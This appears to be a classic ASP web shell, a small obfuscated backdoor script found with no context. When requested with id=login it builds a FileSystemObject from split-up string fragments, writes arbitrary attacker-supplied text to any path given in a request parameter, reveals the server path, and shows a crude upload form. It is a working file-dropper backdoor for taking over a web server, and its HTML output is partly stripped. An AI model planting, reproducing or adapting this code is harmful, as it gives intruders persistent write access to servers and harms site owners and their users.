<% if requeSt("id")="login" then dim ddmmi dim fdata dim jjff0 on error reSume next Set ddmmi =Server.CrEateObjEct("Scri"&mans&"pti"&wor&"ng.Fi"&ptt&"leSy"&ffx&"St"+"emO"&tes&"bje"&our&"ct") if Trim(requeSt("spat5"))<>"" then fdata = requeSt("cyfddata") Set jjff0=ddmmi.CrEateTExtFile(requeSt("spat5"),True) jjff0.Write fdata if err =0 then reSponSe.write "0K" elSe reSponSe.write "0N" end if err.clear end if jjff0.CloSe Set jjff0=Nothing Set ddmmi = Nothing ReSponSe.write "

" ReSponSe.write "The PathPPath(eg: 9:\0x.dwg):" ReSponSe.Write "" ReSponSe.Write "
" ReSponSe.write "1T PH P" %> <% =Server.mappath(RequeSt.ServerVariableS("SCRIPT_NAME")) %> <% ReSponSe.write "
" ReSponSe.write "Input Text:" ReSponSe.write "" ReSponSe.write "" ReSponSe.write "

" end if %>